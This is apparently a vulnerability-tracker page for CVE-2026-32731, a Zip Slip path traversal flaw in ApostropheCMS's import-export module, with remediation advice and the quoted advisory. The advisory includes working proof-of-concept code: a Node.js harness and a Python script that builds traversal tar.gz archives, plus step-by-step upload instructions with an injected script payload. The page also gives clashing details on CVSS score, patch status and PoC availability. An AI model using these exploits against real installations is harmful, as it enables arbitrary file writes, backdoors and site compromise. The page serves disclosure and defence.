Skip to main content

Node.js EUVDEUVD-2026-12978

| CVE-2026-32731 CRITICAL
Path Traversal (CWE-22)
2026-03-18 https://github.com/apostrophecms/apostrophe GHSA-mwxc-m426-3f78
9.9
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Editor uploads crafted gzip archive
  2. Exploit
    Path traversal in extract function
  3. Execution
    Write malicious files outside intended directory
  4. Impact
    Achieve remote code execution

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires authenticated access to ApostropheCMS with Global Content Modify permission (editor-level user). Attacker uploads crafted gzip file via import-export module to trigger path traversal in extract() function (gzip.js lines 132-157). Affects @apostrophecms/import-export versions prior to 3.5.3.

Impact

This vulnerability presents critical real-world risk despite requiring authentication. The CVSS 3.1 score of 10.0 with vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H accurately reflects the severe impact: network-exploitable, low attack complexity, requires only low privileges (content editor role routinely granted to non-administrators), no user interaction needed, scope change to affect resources beyond the vulnerable component, and complete compromise of confidentiality, integrity, and availability. The existence of two detailed proof-of-concept exploits (automated Node.js harness and Python archive generator) with video demonstration significantly lowers the exploitation barrier. The vulnerability enables immediate arbitrary file write leading to remote code execution, website defacement, credential theft, and persistent backdoors. The required Global Content Modify permission is not an administrator-only privilege but a standard editor-level capability in typical CMS deployments, expanding the potential attacker population to include compromised content editor accounts, insider threats, or social engineering targets. The patch is available in version 3.5.3, making this a high-priority remediation item for all ApostropheCMS installations using the import-export module. While no EPSS score or KEV listing is provided in the intelligence data, the combination of public POC availability, critical CVSS score, low privilege requirements, and clear path to RCE makes exploitation highly likely once attackers become aware of vulnerable installations.

Exploit ScenarioDerived

An attacker with compromised content editor credentials (or a malicious insider with standard editing privileges) creates a malicious tar.gz archive using the provided Python script to target the public web directory with a path like ../../../../public/backdoor.js containing a web shell or cryptocurrency miner. The attacker logs into the ApostropheCMS interface, navigates to the import functionality under Global Settings, and uploads the crafted archive through the standard web UI. Upon extraction, the malicious JavaScript file is written to the public directory where it becomes immediately accessible via HTTP to all site visitors, enabling the attacker to serve phishing pages, inject persistent XSS payloads, or achieve remote code execution when the application restarts and loads the poisoned module, all while appearing to originate from the legitimate CMS domain.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 18, 2026

Path traversal in ApostropheCMS import-export module allows authenticated users with content modification permissions to write files outside the intended export directory via malicious archive entries containing directory traversal sequences. An attacker with editor-level access can exploit this vulnerability to overwrite arbitrary files on the system with CVSS 9.9 critical severity. No patch is currently available for this vulnerability affecting Node.js environments.

Earlier versions of this analysis (1)
v1 Mar 18, 2026 - 20:00 CVSS 9.9

A path traversal vulnerability in the ApostropheCMS import-export module allows authenticated users with content editor privileges to write arbitrary files anywhere on the server filesystem by uploading a malicious tar.gz archive. The vulnerability affects @apostrophecms/import-export versions prior to 3.5.3 and enables attackers to achieve remote code execution, deface websites, inject persistent backdoors, or overwrite critical configuration files. A working proof-of-concept exists demonstrating both automated exploitation and manual web UI upload, and the flaw requires only low-privilege content editor access (Global Content Modify permission), making it highly exploitable in real-world deployments where content editing is delegated to non-administrative staff.

RemediationAI

Immediately upgrade the @apostrophecms/import-export package to version 3.5.3 or later, which contains the patch for this vulnerability as confirmed in the GitHub Security Advisory at https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-mwxc-m426-3f78. Organizations should audit all user accounts with Global Content Modify permission and apply principle of least privilege, restricting import functionality to only trusted administrators until patching is complete. As an interim mitigation, disable or restrict access to the import functionality through the CMS settings or implement file system permissions that prevent the Node.js process from writing to critical directories such as the application root, public assets directory, and node_modules. After patching, review file system logs and the public directory for any suspicious files written between the vulnerability disclosure date and patch application, particularly looking for unexpected JavaScript files, HTML files, or modifications to configuration files that could indicate exploitation. Consider implementing application-level file integrity monitoring on critical directories and rotating credentials stored in configuration files as a precautionary measure.

Affected Packages

npm @apostrophecms/import-export fix: 3.5.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the gzip.js module's extract() function (lines 132-157) within the @apostrophecms/import-export package. The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory), specifically a classic Zip Slip attack where the code uses path.join() to construct file write paths without sanitizing or resolving traversal sequences like '../'. When processing tar archive entries, the function directly creates write streams using fs.createWriteStream(path.join(exportPath, header.name)) without validating that the resulting path remains within the intended extraction directory. The affected package is identified by CPE pkg:npm/@apostrophecms_import-export and resides in the apostrophecms/apostrophe monorepo. This type of vulnerability is common in archive extraction implementations that fail to canonicalize paths or check for directory traversal attempts before file system operations.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch released
Mar 31, 2026 - 21:13 nvd
Patch available
CVE Published
Mar 18, 2026 - 19:49 nvd
CRITICAL 9.9

DescriptionGitHub Advisory

Reported: 2026-03-08 Status: patched and released in version 3.5.3 of @apostrophecms/import-export

---

Product

FieldValue
Repositoryapostrophecms/apostrophe (monorepo)
Affected Package@apostrophecms/import-export
Affected Filepackages/import-export/lib/formats/gzip.js
Affected Functionextract(filepath, exportPath) - lines ~132-157
Minimum Required PermissionGlobal Content Modify (any editor-level user with import access)

---

Vulnerability Summary

The extract() function in gzip.js constructs file-write paths using:

js
fs.createWriteStream(path.join(exportPath, header.name))

path.join() does not resolve or sanitise traversal segments such as ../. It concatenates them as-is, meaning a tar entry named ../../evil.js resolves to a path outside the intended extraction directory. No canonical-path check is performed before the write stream is opened.

This is a textbook Zip Slip vulnerability. Any user who has been granted the Global Content Modify permission - a role routinely assigned to content editors and site managers - can upload a crafted .tar.gz file through the standard CMS import UI and write attacker-controlled content to any path the Node.js process can reach on the host filesystem.

---

Security Impact

This vulnerability provides unauthenticated-equivalent arbitrary file write to any user with content editor permissions. The full impact chain is:

1. Arbitrary File Write

Write any file to any path the Node.js process user can access. Confirmed writable targets in testing:

  • Any path the CMS process has permission to

2. Static Web Directory - Defacement & Malicious Asset Injection

ApostropheCMS serves <project-root>/public/ via Express static middleware:

js
// packages/apostrophe/modules/@apostrophecms/asset/index.js
express.static(self.apos.rootDir + '/public', self.options.static || {})

A traversal payload targeting public/ makes any uploaded file directly HTTP-accessible:

This enables:

  • Full site defacement
  • Serving phishing pages from the legitimate CMS domain
  • Injecting malicious JavaScript served to all site visitors (stored XSS at scale)

3. Persistent Backdoor / RCE (Post-Restart)

If the traversal targets any .js file loaded by Node.js on startup (e.g., a module index.js, a config file, a routes file), the payload becomes a persistent backdoor that executes with the CMS process privileges on the next server restart. In container/cloud environments, restarts happen automatically on deploy, crash, or health-check failure - meaning the attacker does not need to manually trigger one.

4. Credential and Secret File Overwrite

Overwrite .env, app.config.js, database seed files, or any config file to:

  • Exfiltrate database credentials on next load
  • Redirect authentication to an attacker-controlled backend
  • Disable security controls (rate limiting, MFA, CSRF)

5. Denial of Service

Overwrite any critical application file (package.json, node_modules entries, etc.) with garbage data, rendering the application unbootable.

---

Required Permission

Global Content Modify - this is a standard editor-level permission routinely granted to content managers, blog editors, and site administrators in typical ApostropheCMS deployments. It is not an administrator-only capability. Any organisation that delegates content editing to non-technical staff is exposed.

---

Proof of Concept

Two PoC artifacts are provided:

FilePurpose
tmp-import-export-zip-slip-poc.jsAutomated Node.js harness - verifies the write happens without a browser
make-slip-tar.pyAttacker tool - generates a real .tar.gz for upload via the CMS web UI

---

PoC 1 - Automated Verification (tmp-import-export-zip-slip-poc.js)

js
const fs = require('node:fs');
const fsp = require('node:fs/promises');
const path = require('node:path');
const os = require('node:os');
const zlib = require('node:zlib');
const tar = require('tar-stream');

const gzipFormat = require('./packages/import-export/lib/formats/gzip.js');

async function makeArchive(archivePath) {
  const pack = tar.pack();
  const gzip = zlib.createGzip();
  const out = fs.createWriteStream(archivePath);

  const done = new Promise((resolve, reject) => {
    out.on('finish', resolve);
    out.on('error', reject);
    gzip.on('error', reject);
    pack.on('error', reject);
  });

  pack.pipe(gzip).pipe(out);

  pack.entry({ name: 'aposDocs.json' }, '[]');
  pack.entry({ name: 'aposAttachments.json' }, '[]');

  // Traversal payload
  pack.entry({ name: '../../zip-slip-pwned.txt' }, 'PWNED_FROM_TAR');

  pack.finalize();
  await done;
}

(async () => {
  const base = await fsp.mkdtemp(path.join(os.tmpdir(), 'apos-zip-slip-'));
  const archivePath = path.join(base, 'evil-export.gz');
  const exportPath = archivePath.replace(/\.gz$/, '');

  await makeArchive(archivePath);

  const expectedOutsideWrite = path.resolve(exportPath, '../../zip-slip-pwned.txt');

  // Ensure clean pre-state
  try { await fsp.unlink(expectedOutsideWrite); } catch (_) {}

  await gzipFormat.input(archivePath);

  const exists = fs.existsSync(expectedOutsideWrite);
  const content = exists ? await fsp.readFile(expectedOutsideWrite, 'utf8') : '';

  console.log('EXPORT_PATH:', exportPath);
  console.log('EXPECTED_OUTSIDE_WRITE:', expectedOutsideWrite);
  console.log('ZIP_SLIP_WRITE_HAPPENED:', exists);
  console.log('WRITTEN_CONTENT:', content.trim());
})();

Run:

powershell
node .\tmp-import-export-zip-slip-poc.js

Observed output (confirmed):

EXPORT_PATH:            C:\Users\...\AppData\Local\Temp\apos-zip-slip-XXXXXX\evil-export
EXPECTED_OUTSIDE_WRITE: C:\Users\...\AppData\Local\Temp\zip-slip-pwned.txt
ZIP_SLIP_WRITE_HAPPENED: true
WRITTEN_CONTENT:        PWNED_FROM_TAR

The file zip-slip-pwned.txt is written two directories above the extraction root, confirming path traversal.

---

PoC 2 - Web UI Exploitation (make-slip-tar.py)

Script (make-slip-tar.py):

python
import tarfile, io, sys

if len(sys.argv) != 3:
    print("Usage: python make-slip-tar.py <payload_file> <target_path>")
    sys.exit(1)

payload_file = sys.argv[1]
target_path  = sys.argv[2]
out = "evil-slip.tar.gz"

with open(payload_file, "rb") as f:
    payload = f.read()

with tarfile.open(out, "w:gz") as t:
    docs = io.BytesIO(b"[]")
    info = tarfile.TarInfo("aposDocs.json")
    info.size = len(docs.getvalue())
    t.addfile(info, docs)

    atts = io.BytesIO(b"[]")
    info = tarfile.TarInfo("aposAttachments.json")
    info.size = len(atts.getvalue())
    t.addfile(info, atts)

    info = tarfile.TarInfo(target_path)
    info.size = len(payload)
    t.addfile(info, io.BytesIO(payload))

print("created", out)

---

Steps to Reproduce (Web UI - Real Exploitation)

Step 1 - Create the payload file

Create a file with the content you want to write to the server. For a static web directory write:

bash
echo "<!-- injected by attacker --><script>alert('XSS')</script>" > payload.html

Step 2 - Generate the malicious archive

Use the traversal path that reaches the CMS public/ directory. The number of ../ segments depends on where the CMS stores its temporary extraction directory relative to the project root - typically 2-4 levels up. Adjust as needed:

bash
python make-slip-tar.py payload.html "../../../../<project-root>/public/injected.html"

This creates evil-slip.tar.gz containing:

  • aposDocs.json - empty, required by the importer
  • aposAttachments.json - empty, required by the importer
  • ../../../../<project-root>/public/injected.html - the traversal payload

Step 3 - Upload via CMS Import UI

  1. Log in to the CMS with any account that has Global Content Modify permission.
  2. Navigate to Open Global Settings → More Options → Import.
  3. Select evil-slip.tar.gz and click Import.
  4. The CMS accepts the file and begins extraction - no error is shown.

Step 4 - Confirm the write

bash
curl http://localhost:3000/injected.html

Expected response:

<!-- injected by attacker --><script>alert('XSS')</script>

The file is now being served from the CMS's own domain to all visitors.

Video POC : https://drive.google.com/file/d/1bbuQnoJv_xjM_uvfjnstmTh07FB7VqGH/view?usp=sharing

---

Executive ViewAI

Why It Matters

CVE-2026-32731 presents critical security risk, a path traversal vulnerability rated CVSS 9.9. This could allow attackers to access or modify files outside intended directories, potentially exposing sensitive configuration or credentials. Organizations should apply vendor updates immediately when available and implement compensating controls in the interim.

Business Impact: Severe
Compensating Controls

Apply vendor patch. If immediate patching is not feasible: (1) Restrict file upload functionality via WAF; (2) Implement allowlist-based file type validation; (3) Use chroot/containerization to limit filesystem access.

Threat Intelligence Overview

EPSS Score
0.1%
Top 81% exploitable
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.1%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Very High

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

Affected Products (CPE)GitHub Advisory

pkg:npm/@apostrophecms_import-export

Related Vulnerabilities in ApostropheCMS Authentication and XSS

View all 2
CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy